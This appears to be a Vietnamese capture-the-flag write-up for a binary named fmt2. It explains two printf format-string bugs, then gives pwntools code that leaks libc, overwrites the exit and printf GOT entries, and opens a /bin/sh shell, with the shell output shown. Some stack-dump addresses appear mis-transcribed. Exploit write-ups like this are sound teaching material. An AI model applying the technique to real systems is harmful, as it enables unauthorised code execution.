

FMT2

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/formatstring2$ checksec fmt2
[*] '/home/huynq/Documents/exploit-train/exploit/formatstring2/fmt2'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

```
Decompile: main - (fmt2)
1
2 undefined8 main(EVP_PKEY_CTX *param_1)
3
4 {
5     time_t tVar1;
6     time_t local_b8 [2];
7     char local_a8 [80];
8     char local_58 [72];
9     int local_10;
10    int local_c;
11
12    init(param_1);
13    memset(local_58,0,0x3c);
14    memset(local_a8,0,0x50);
15    local_c = open("/dev/urandom",0);
16    if (local_c < 0) {
17        puts("Something went wrong");
18        /* WARNING: Subroutine does not return */
19        exit(1);
20    }
21    read(local_c,local_b8,4);
22    tVar1 = time(local_b8);
23    srand((uint)tVar1);
24    lucky = rand();
25    puts("Viettel Challenge\n");
26    printf("Give me your name: ");
27    read(0,local_58,0x3c);
28    printf("Hi guy,");
29    printf(local_58);
30    puts("\nCan you guess the lucky number?");
31    printf("Your input: ");
32    read(0,local_a8,0x50);
33    printf("Your lucky is here: ");
34    printf(local_a8);
35    local_10 = atoi(local_a8);
36    if (lucky == local_10) {
37        puts("You are lucky man! Congrat,");
38        printf(local_58);
39        return 0;
40    }
41    puts("Good luck :D");
42    /* WARNING: Subroutine does not return */
43    exit(0);
```

Có 2 lỗi format string ở dòng 29 và dòng 34.

Partial RELRO nên ta có thể ghi đè GOT table

Cách làm như sau:

- Tìm địa chỉ của libc, đặt breakpoint trước vuln đầu tiên, quan sát stack sẽ thấy tại offset thứ 0x17 (tính từ 0) là địa chỉ của `__libc_start_main + 243`, từ đó ta sẽ tính ra address của libc. Ta sẽ dùng format string vuln để leak offset này trong stack.

```
pwndbg> stack 50
00:0000 rsp 0x7fffffffda20 ← 0x63905e79
01:0008 0x7fffffffda28 ← 0x0
... ↓
10 skipped
0c:0060 rdi 0x7fffffffda80 ← 'AAAAAAA\n'
0d:0068 0x7fffffffda88 ← 0xa /* '\n' */
0e:0070 0x7fffffffda90 ← 0x0
... ↓
5 skipped
14:00a0 0x7fffffffda0 ← 0x7fffffffdbc0 ← 0x1
15:00a8 0x7fffffffda08 ← 0x300000000
16:00b0 rbp 0x7fffffffda00 ← 0x0
17:00b8 0x7fffffffda08 → 0x7ffff7de1083 ( __libc_start_main+243) ← mov edi, eax
18:00c0 0x7fffffffdae0 → 0x7ffff7ffc620 ( _rtld_global_ro) ← 0x50f4000000000
19:00c8 0x7fffffffdae8 → 0x7fffffffdbc8 → 0x7ffff7df97 ← '/home/huynq/Documents/exploit-train/exploit/formatstring2/fmt2'
1a:00d0 0x7fffffffda00 ← 0x100000000
1b:00d8 0x7fffffffda08 → 0x4000e9 (main) ← push rbp
1c:00e0 0x7fffffffdb00 → 0x4000aa0 ( _libc_csu_init) ← push r15
1d:00e8 0x7fffffffdb08 → 0xc9dd654dedef4e65
1e:00f0 0x7fffffffdb10 → 0x4007b0 ( _start) ← xor ebp, ebp
1f:00f8 0x7fffffffdb18 → 0x7fffffffdbc0 ← 0x1
```

```
p = process("./fmt2")
e = ELF("./fmt2")
libc = e.libc

p.sendlineafter(b'name: ', b'%29$p')
p.recvuntil(b'guy,')
libc.address = int(p.recvline()[:-1],16) - libc.symbols['__libc_start_main'] - 243
log.info(f'libc address :0x{libc.address:0x}')
```

- Ghi đè GOT của exit thành `_start` để tiếp tục thực hiện thêm các cuộc tấn công

```
payload = payload_overwrite(e.symbols['_start'], 14)
payload += p64(e.got['exit'])+p64(e.got['exit']+2)+p64(e.got['exit']+4)
p.sendlineafter(b'input: ', payload)
```

- Ghi đè GOT của hàm printf thành system, sau đó nhập vào `/bin/sh` để mở shell ở vuln thứ 2

```
payload = payload_overwrite(libc.symbols['system'], 24)
payload += p64(e.got['printf'])+p64(e.got['printf']+2)+p64(e.got['printf']+4)
p.sendlineafter(b'name: ', payload)
p.sendline('/bin/sh')
p.interactive()
```

- Truy cập thành công shell

Can you guess the lucky number?

sh: 1: Your: not found

sh: 1: Your: not found

Good luck :D

Viettel Challenge

sh: 1: Give: not found

\$ ls

sh: 1: Hi: not found

ex.py fmt2 ld-linux-x86-64.so.2 libc.so.6 sol.py sol.txt

Can you guess the lucky number?

sh: 1: Your: not found

✖